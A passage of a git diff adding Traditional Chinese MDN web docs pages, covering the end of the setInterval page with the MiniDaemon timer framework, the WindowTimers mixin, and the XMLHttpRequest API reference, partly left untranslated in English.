+<div class="note">JavaScript 1.8.5 introduces the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></code> method, which lets you specify the value that should be used as <code>this</code> for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>, with lexical this allowing us to write setInterval( () =&gt; this.myMethod) if we're inside myArray method.</div>
+
+<h2 id="MiniDaemon_-_A_framework_for_managing_timers">MiniDaemon - A framework for managing timers</h2>
+
+<p>In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object to the callback function (see <a href="#The_.22this.22_problem">The "this" problem</a> for details). The following code is also <a href="https://github.com/madmurphy/minidaemon.js">available on GitHub</a>.</p>
+
+<div class="note">For a more complex but still modular version of it (<code><em>Daemon</em></code>) see <a href="/en-US/Add-ons/Code_snippets/Timers/Daemons">JavaScript Daemons Management</a>. This more complex version is nothing but a big and scalable collection of methods for the <code><em>Daemon</em></code> constructor. However, the <code><em>Daemon</em></code> constructor itself is nothing but a clone of <code><em>MiniDaemon</em></code> with an added support for <em>init</em> and <em>onstart</em> functions declarable during the instantiation of the <code><em>daemon</em></code>. <strong>So the <code><em>MiniDaemon</em></code> framework remains the recommended way for simple animations</strong>, because <code><em>Daemon</em></code> without its collection of methods is essentially a clone of it.</div>
+
+<h3 id="minidaemon.js">minidaemon.js</h3>
+
+<pre class="brush:js">/*\
+|*|
+|*|  :: MiniDaemon ::
+|*|
+|*|  Revision #2 - September 26, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/minidaemon.js
+|*|
+|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/lgpl-3.0.html
+|*|
+\*/
+
+function MiniDaemon (oOwner, fTask, nRate, nLen) {
+  if (!(this &amp;&amp; this instanceof MiniDaemon)) { return; }
+  if (arguments.length &lt; 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
+  if (oOwner) { this.owner = oOwner; }
+  this.task = fTask;
+  if (isFinite(nRate) &amp;&amp; nRate &gt; 0) { this.rate = Math.floor(nRate); }
+  if (nLen &gt; 0) { this.length = Math.floor(nLen); }
+}
+
+MiniDaemon.prototype.owner = null;
+MiniDaemon.prototype.task = null;
+MiniDaemon.prototype.rate = 100;
+MiniDaemon.prototype.length = Infinity;
+
+  /* These properties should be read-only */
+
+MiniDaemon.prototype.SESSION = -1;
+MiniDaemon.prototype.INDEX = 0;
+MiniDaemon.prototype.PAUSED = true;
+MiniDaemon.prototype.BACKW = true;
+
+  /* Global methods */
+
+MiniDaemon.forceCall = function (oDmn) {
+  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
+  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
+  return true;
+};
+
+  /* Instances methods */
+
+MiniDaemon.prototype.isAtEnd = function () {
+  return this.BACKW ? isFinite(this.length) &amp;&amp; this.INDEX &lt; 1 : this.INDEX + 1 &gt; this.length;
+};
+
+MiniDaemon.prototype.synchronize = function () {
+  if (this.PAUSED) { return; }
+  clearInterval(this.SESSION);
+  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
+};
+
+MiniDaemon.prototype.pause = function () {
+  clearInterval(this.SESSION);
+  this.PAUSED = true;
+};
+
+MiniDaemon.prototype.start = function (bReverse) {
+  var bBackw = Boolean(bReverse);
+  if (this.BACKW === bBackw &amp;&amp; (this.isAtEnd() || !this.PAUSED)) { return; }
+  this.BACKW = bBackw;
+  this.PAUSED = false;
+  this.synchronize();
+};
+</pre>
+
+<div class="note">MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.</div>
+
+<h3 id="Syntax_2">Syntax</h3>
+
+<p><code>var myDaemon = new MiniDaemon(<em>thisObject</em>, <em>callback</em>[</code><code>, <em>rate</em></code><code>[, <em>length</em>]]);</code></p>
+
+<h3 id="Description">Description</h3>
+
+<p>Returns a JavaScript <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a> containing all information needed by an animation (like the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object, the callback function, the length, the frame-rate).</p>
+
+<h4 id="Arguments">Arguments</h4>
+
+<dl>
+ <dt><code>thisObject</code></dt>
+ <dd>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object on which the <em>callback</em> function is called. It can be an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>object</code></a> or <code>null</code>.</dd>
+ <dt><code>callback</code></dt>
+ <dd>The function that is repeatedly invoked . <strong>It is called with three arguments</strong>: <em>index</em> (the iterative index of each invocation), <em>length</em> (the number of total invocations assigned to the <em>daemon</em> - finite or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>) and <em>backwards</em> (a boolean expressing whether the <em>index</em> is increasing or decreasing). It is something like <em>callback</em>.call(<em>thisObject</em>, <em>index</em>, <em>length</em>, <em>backwards</em>). <strong>If the callback function returns a <code>false</code> value the <em>daemon</em> is paused</strong>.</dd>
+ <dt><code>rate (optional)</code></dt>
+ <dd>The time lapse (in number of milliseconds) between each invocation. The default value is 100.</dd>
+ <dt><code>length (optional)</code></dt>
+ <dd>The total number of invocations. It can be a positive integer or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>. The default value is <code>Infinity</code>.</dd>
+</dl>
+
+<h4 id="MiniDaemon_instances_properties"><code>MiniDaemon</code> instances properties</h4>
+
+<dl>
+ <dt><code>myDaemon.owner</code></dt>
+ <dd>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object on which is executed the daemon (read/write). It can be an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>object</code></a> or <code>null</code>.</dd>
+ <dt><code>myDaemon.task</code></dt>
+ <dd>The function that is repeatedly invoked (read/write). It is called with three arguments: <em>index</em> (the iterative index of each invocation), <em>length</em> (the number of total invocations assigned to the daemon - finite or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>) and backwards (a boolean expressing whether the <em>index</em> is decreasing or not) – see above. If the <code>myDaemon.task</code> function returns a <code>false</code> value the <em>daemon</em> is paused.</dd>
+ <dt><code>myDaemon.rate</code></dt>
+ <dd>The time lapse (in number of milliseconds) between each invocation (read/write).</dd>
+ <dt><code>myDaemon.length</code></dt>
+ <dd>The total number of invocations. It can be a positive integer or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a> (read/write).</dd>
+</dl>
+
+<h4 id="MiniDaemon_instances_methods"><code>MiniDaemon</code> instances methods</h4>
+
+<dl>
+ <dt><code>myDaemon.isAtEnd()</code></dt>
+ <dd>Returns a boolean expressing whether the <em>daemon</em> is at the start/end position or not.</dd>
+ <dt><code>myDaemon.synchronize()</code></dt>
+ <dd>Synchronize the timer of a started daemon with the time of its invocation.</dd>
+ <dt><code>myDaemon.pause()</code></dt>
+ <dd>Pauses the daemon.</dd>
+ <dt><code>myDaemon.start([<em>reverse</em>])</code></dt>
+ <dd>Starts the daemon forward (<em>index</em> of each invocation increasing) or backwards (<em>index</em> decreasing).</dd>
+</dl>
+
+<h4 id="MiniDaemon_global_object_methods"><code>MiniDaemon</code> global object methods</h4>
+
+<dl>
+ <dt><code>MiniDaemon.forceCall(<em>minidaemon</em>)</code></dt>
+ <dd>Forces a single callback to the <code><em>minidaemon</em>.task</code> function regardless of the fact that the end has been reached or not. In any case the internal <code>INDEX</code> property is increased/decreased (depending on the actual direction of the process).</dd>
+</dl>
+
+<h3 id="Example_usage">Example usage</h3>
+
+<p>Your HTML page:</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;MiniDaemin Example - MDN&lt;/title&gt;
+  &lt;script type="text/javascript" src="minidaemon.js"&gt;&lt;/script&gt;
+  &lt;style type="text/css"&gt;
+    #sample_div {
+      visibility: hidden;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;p&gt;
+    &lt;input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" /&gt;
+    &lt;input type="button" onclick="fadeInOut.start(true);" value="fade out"&gt;
+    &lt;input type="button" onclick="fadeInOut.pause();" value="pause" /&gt;
+  &lt;/p&gt;
+
+  &lt;div id="sample_div"&gt;Some text here&lt;/div&gt;
+
+  &lt;script type="text/javascript"&gt;
+    function opacity (nIndex, nLength, bBackwards) {
+      this.style.opacity = nIndex / nLength;
+      if (bBackwards ? nIndex === 0 : nIndex === 1) {
+        this.style.visibility = bBackwards ? 'hidden' : 'visible';
+      }
+    }
+
+    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
+  &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><a href="/files/3995/minidaemon_example.html" title="MiniDaemon Example">View this example in action</a></p>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>The <code>setInterval()</code> function is commonly used to set a delay for functions that are executed again and again, such as animations. You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.</p>
+
+<p>If you wish to have your function called <em>once</em> after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</p>
+
+<h3 id="Delay_restrictions">Delay restrictions</h3>
+
+<p>It's possible for intervals to be nested; that is, the callback for <code>setInterval()</code> can in turn call <code>setInterval()</code> to start another interval running, even though the first one is still going. To mitigate the potential impact this can have on performance, once intervals are nested beyond five levels deep, the browser will automatically enforce a 4 ms minimum value for the interval. Attempts to specify a value less than 4 ms in deeply-nested calls to <code>setInterval()</code> will be pinned to 4 ms.</p>
+
+<p>Browsers may enforce even more stringent minimum values for the interval under some circumstances, although these should not be common. Note also that the actual amount of time that elapses between calls to the callback may be longer than the given <code>delay</code>; see {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}} for examples.</p>
+
+<h3 id="Ensure_that_execution_duration_is_shorter_than_interval_frequency">Ensure that execution duration is shorter than interval frequency</h3>
+
+<p>If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}. For example, if using <code>setInterval()</code> to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.</p>
+
+<p>In these cases, a recursive <code>setTimeout()</code> pattern is preferred:</p>
+
+<pre class="brush:js">(function loop(){
+   setTimeout(function() {
+      // Your logic here
+
+      loop();
+  }, delay);
+})();
+</pre>
+
+<p>In the above snippet, a named function <code>loop()</code> is declared and is immediately executed. <code>loop()</code> is recursively called inside <code>setTimeout()</code> after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Method moved to the <code>WindowOrWorkerGlobalScope</code> mixin in the latest spec.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition (DOM Level 0)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers">JavaScript timers</a></li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.setTimeout")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.clearInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/windowtimers/index.html b/files/zh-tw/web/api/windowtimers/index.html
new file mode 100644
index 0000000000..0b26118e10
--- /dev/null
+++ b/files/zh-tw/web/api/windowtimers/index.html
@@ -0,0 +1,114 @@
+---
+title: WindowTimers
+slug: Web/API/WindowTimers
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>WindowTimers</strong></code> is a mixin used to provide utility methods which set and clear timers. No objects of this type exist; instead, its methods are available on {{domxref("Window")}} for the standard browsing scope, or on {{domxref("WorkerGlobalScope")}} for workers.</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>WindowTimers 介面沒有繼承也沒有定義任何屬性。</em></p>
+
+<h2 id="方法">方法</h2>
+
+<p><em>除以下自身方法外，WindowTimers 介面提沒有任何繼承方法。</em></p>
+
+<dl>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Cancels the delayed execution set using {{domxref("WindowTimers.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Schedules a function to execute in a given amount of time.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windowtimers', 'WindowTimers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windowtimers', 'WindowTimers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windowtimers", "WindowTimers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>1.0</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/xmlhttprequest/index.html b/files/zh-tw/web/api/xmlhttprequest/index.html
new file mode 100644
index 0000000000..3258579e62
--- /dev/null
+++ b/files/zh-tw/web/api/xmlhttprequest/index.html
@@ -0,0 +1,177 @@
+---
+title: XMLHttpRequest
+slug: Web/API/XMLHttpRequest
+tags:
+  - AJAX
+  - Fixit
+  - HTTP
+  - MakeBrowserAgnostic
+  - NeedsCleanup
+  - NeedsMobileBrowserCompatibility
+  - NeedsTranslation
+  - TopicStub
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest
+---
+<div>{{DefaultAPISidebar("XMLHttpRequest")}}</div>
+
+<p><span class="seoSummary">藉由 <code>XMLHttpRequest</code>（XHR）物件的方式來存取伺服器端的資料，可以讓你直接經由指定的 URL 擷取資料卻不用刷新整個網頁。這樣一來當想要更新網頁中的部分資料時，不再需要藉由刷新整個頁面的方法而中斷使用者的操作。在</span>{{Glossary("AJAX")}}應用中 <code>XMLHttpRequest</code> 被大量的使用。</p>
+
+<p>{{InheritanceDiagram(650, 150)}}</p>
+
+<p>雖然 <span class="seoSummary"><code>XMLHttpRequest</code></span> 這個物件的命名包含了 XML 與 HTTP 等字眼，但實際上 <code>XMLHttpRequest</code> 可用來接收任何類型的資料，不限於 XML 類型而已。</p>
+
+<p>如果在資料交換的時候，需要接收從伺服器端傳來的事件或訊息：可以考慮透過{{domxref("EventSource")}}介面使用<a href="/zh-TW/docs/Web/API/Server-sent_events">server-sent 事件</a>。對於和伺服器全雙工的資訊交換，<a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a> 可能是較佳的選擇。</p>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}</dt>
+ <dd>建構式用來初始化一個 <code>XMLHttpRequest</code> 物件。必須在其他任何所屬方法被呼叫之前被呼叫。</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>此介面也繼承了 {{domxref("XMLHttpRequestEventTarget")}} 及 {{domxref("EventTarget")}} 的屬性。</em></p>
+
+<dl>
+ <dt id="xmlhttprequest-onreadystatechange">{{domxref("XMLHttpRequest.onreadystatechange")}}</dt>
+ <dd>一個 {{domxref("EventHandler")}}（事件處理器）函式，會於 <code>readyState</code> 屬性之狀態改變時被呼叫。</dd>
+ <dt id="xmlhttprequest-readystate">{{domxref("XMLHttpRequest.readyState")}} {{readonlyinline}}</dt>
+ <dd>回傳一個無符號短整數（<code>unsigned short</code>）代表請求之狀態。</dd>
+ <dt>{{domxref("XMLHttpRequest.response")}} {{readonlyinline}}</dt>
+ <dd>回傳的內容可能是 {{domxref("ArrayBuffer")}}、{{domxref("Blob")}}、{{domxref("Document")}}、JavaScript 物件或 {{domxref("DOMString")}}。完全根據 {{domxref("XMLHttpRequest.responseType")}} 的值決定回傳的內容為何種型態，資料為回應實體中的內容（response entity body）。</dd>
+ <dt id="xmlhttprequest-responsetext">{{domxref("XMLHttpRequest.responseText")}} {{readonlyinline}}</dt>
+ <dd>回傳一個 {{domxref("DOMString")}}，其內容為請求之回應的文字內容。如請求失敗或尚未發送，則為 <code>null</code>。</dd>
+ <dt id="xmlhttprequest-responsetype">{{domxref("XMLHttpRequest.responseType")}}</dt>
+ <dd>為一可列舉（enumerated）值，定義回應內容的資料類型（response type）。</dd>
+ <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseURL")}} {{readonlyinline}}</dt>
+ <dd>回傳一個回應（response）的序列化 URL，如 URL 為 null 則回傳空字串。</dd>
+ <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseXML")}} {{readonlyinline}}</dt>
+ <dd>回傳一個 {{domxref("Document")}}，其內容為請求之回應內容所解析成的文件物件。如請求失敗或尚未發送，又或是無法解析成 XML、HTML，則為 <code>null</code>。Not available in workers.</dd>
+ <dt id="xmlhttprequest-status">{{domxref("XMLHttpRequest.status")}} {{readonlyinline}}</dt>
+ <dd>回傳一個無符號短整數（<code>unsigned short</code>）表示已發送請求之回應的狀態。</dd>
+ <dt id="xmlhttprequest-statustext">{{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}</dt>
+ <dd>回傳一個 {{domxref("DOMString")}} 表示 HTTP 伺服器回應之字串。和 {{domxref("XMLHTTPRequest.status")}} 不同的是，<code>XMLHttpRequest.statusText</code> 包含了回應的整個文字訊息（如 "<code>200 OK</code>"）。</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> The HTTP/2 specification (<a href="https://http2.github.io/http2-spec/#rfc.section.8.1.2.4">8.1.2.4</a> <a href="https://http2.github.io/http2-spec/#HttpResponse">Response Pseudo-Header Fields</a>), HTTP/2 does not define a way to carry the version or reason phrase that is included in an HTTP/1.1 status line.</p>
+</div>
+
+<dl>
+ <dt id="xmlhttprequest-timeout">{{domxref("XMLHttpRequest.timeout")}}</dt>
+ <dd>為一無符號長整數（<code>unsigned long</code>），代表一個請求在逾時而被自動中止前的可等待時間（毫秒）。</dd>
+ <dt id="xmlhttprequesteventtarget-ontimeout">{{domxref("XMLHttpRequestEventTarget.ontimeout")}}</dt>
+ <dd>為一 {{domxref("EventHandler")}} 物件，會於請求逾時時被呼叫。{{gecko_minversion_inline("12.0")}}</dd>
+ <dt id="xmlhttprequest-upload">{{domxref("XMLHttpRequest.upload")}} {{readonlyinline}}</dt>
+ <dd>為一 {{domxref("XMLHttpRequestUpload")}} 物件，代表上傳的進度。</dd>
+ <dt id="xmlhttprequest-withcredentials">{{domxref("XMLHttpRequest.withCredentials")}}</dt>
+ <dd>{{domxref("Boolean","布林值")}}。表示是否允許在跨站存取（cross-site <code>Access-Control</code>）之請求當中，發送如 cookies 或 authorization headers 等憑證資訊（credentials）。</dd>
+</dl>
+
+<h3 id="非標準屬性">非標準屬性</h3>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.channel")}}{{ReadOnlyInline}}</dt>
+ <dd>是一個 {{Interface("nsIChannel")}}。當執行要求時，物件使用的頻道（Channel）。</dd>
+ <dt>{{domxref("XMLHttpRequest.mozAnon")}}{{ReadOnlyInline}}</dt>
+ <dd>為一個布林值。如果為真，請求就會以沒有cookie及authentication headers的方式送出。</dd>
+ <dt>{{domxref("XMLHttpRequest.mozSystem")}}{{ReadOnlyInline}}</dt>
+ <dd>這是一個布林值。If true, the same origin policy will not be enforced on the request.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozBackgroundRequest")}}</dt>
+ <dd>這是一個布林值。指出該物件是否為一個背景型態的服務要求。</dd>
+ <dt>{{domxref("XMLHttpRequest.mozResponseArrayBuffer")}}{{gecko_minversion_inline("2.0")}} {{obsolete_inline("6")}} {{ReadOnlyInline}}</dt>
+ <dd>Is an <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer"><code>ArrayBuffer</code></a>. The response to the request, as a JavaScript typed array.</dd>
+ <dt>{{domxref("XMLHttpRequest.multipart")}}{{obsolete_inline("22")}}</dt>
+ <dd><strong>This Gecko-only feature, a boolean, was removed in Firefox/Gecko 22.</strong> Please use <a href="/zh-TW/docs/Web/API/Server-sent_events">Server-Sent Events</a>, <a href="/zh-TW/docs/Web/API/WebSockets_API">Web Sockets</a>, or <code>responseText</code> from progress events instead.</dd>
+</dl>
+
+<h3 id="事件處理器">事件處理器</h3>
+
+<p>所有瀏覽器都支援 <code>XMLHttpRequest</code> 物件實體的 <code>onreadystatechange</code> 屬性。</p>
+
+<p>之後，各個瀏覽器實作了多種額外的事件處理器（如 <code>onload</code>、<code>onerror</code>、<code>onprogress</code> 等）。請參考<a href="https://developer.mozilla.org/zh-TW/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">使用 XMLHttpRequest</a>。</p>
+
+<p>除了以 <code>on*</code> 屬性來設定事件處理函式，更多現代覽瀏器（包括 Firefox）也支援使用標準的 <code><a href="/zh-TW/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> API 註冊監聽 <code>XMLHttpRequest</code> 的事件。</p>
+
+<dl>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.abort()")}}</dt>
+ <dd>中止已發出的請求。</dd>
+ <dt>{{domxref("XMLHttpRequest.getAllResponseHeaders()")}}</dt>
+ <dd>回傳所有的回應標頭（response headers），為一以斷行字元（<a href="/zh-TW/docs/Glossary/CRLF">CRLF</a>）分行的字串，如未接收到回應則為 <code>null</code>。</dd>
+ <dt>{{domxref("XMLHttpRequest.getResponseHeader()")}}</dt>
+ <dd>回傳指定標頭文字之字串，假如回應尚未被接收或是標頭不存在於回應中則為 <code>null</code>。</dd>
+ <dt>{{domxref("XMLHttpRequest.open()")}}</dt>
+ <dd>初始化一個請求。此方法用於 JavaScript 中；若要在 native code 中初始化請求，請以 <a class="internal" href="/zh-TW/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#openRequest()"><code>openRequest()</code></a> 作為替代。</dd>
+ <dt>{{domxref("XMLHttpRequest.overrideMimeType()")}}</dt>
+ <dd>覆寫伺服器回傳的 MIME type。</dd>
+ <dt>{{domxref("XMLHttpRequest.send()")}}<span style="display: none;"> </span></dt>
+ <dd>發送請求。如果為非同步請求（預設值），此方法將在發出請求後便立即回傳（return）。</dd>
+ <dt>{{domxref("XMLHttpRequest.setRequestHeader()")}}</dt>
+ <dd>設定 HTTP 請求標頭（request header）值。<code>setRequestHeader()</code> 可被呼叫的時間點必須於 <a href="#open"><code>open()</code></a> 之後、在 <code>send()</code> 之前。</dd>
+</dl>
+
+<h3 id="非標準方法">非標準方法</h3>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.init()")}}</dt>
+ <dd>使用 C++ 程式時，用來初始化這個物件。</dd>
+</dl>
+
+<div class="warning"><strong>注意:</strong> 請勿在 JavaScript 中呼叫這個方法。</div>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.openRequest()")}}</dt>
+ <dd>初始化請求。這方法是用於原生程式，若想在 JavaScript 中初始化一個請求，請使用 <a class="internal" href="/zh-TW/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#open()"><code>open()</code></a> 這個方法來代替。請參照 <code>open()</code> 的相關文件。</dd>
+ <dt>{{domxref("XMLHttpRequest.sendAsBinary()")}}{{deprecated_inline()}}</dt>
+ <dd>另一種 <code>send()</code> 方法，用來送出二進位資料。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Live standard, latest version</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<div>{{Compat("api.XMLHttpRequest")}}</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>MDN 上涵蓋 XMLHttpRequest 的相關教學：
+  <ul>
+   <li><a href="/zh-TW/docs/AJAX/Getting_Started">Ajax — Getting Started</a></li>
+   <li><a href="/zh-TW/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">使用 XMLHttpRequest</a></li>
+   <li><a href="/zh-TW/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+   <li><a href="/zh-TW/docs/Web/API/FormData"><code>FormData</code></a></li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/file/xhr2/">HTML5 Rocks — New Tricks in XMLHttpRequest2</a></li>
+ <li><code>Chrome scope availability</code> — how to access XMLHttpRequest from JSM modules etc., which do not have access to DOM
+  <ul>
+   <li><a href="/zh-TW/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+   <li><a href="/zh-TW/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest">nsIXMLHttpRequest</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/api/xmlhttprequest/onreadystatechange/index.html b/files/zh-tw/web/api/xmlhttprequest/onreadystatechange/index.html
new file mode 100644
index 0000000000..817daf0efa
--- /dev/null
+++ b/files/zh-tw/web/api/xmlhttprequest/onreadystatechange/index.html
@@ -0,0 +1,113 @@
+---
+title: XMLHttpRequest.onreadystatechange
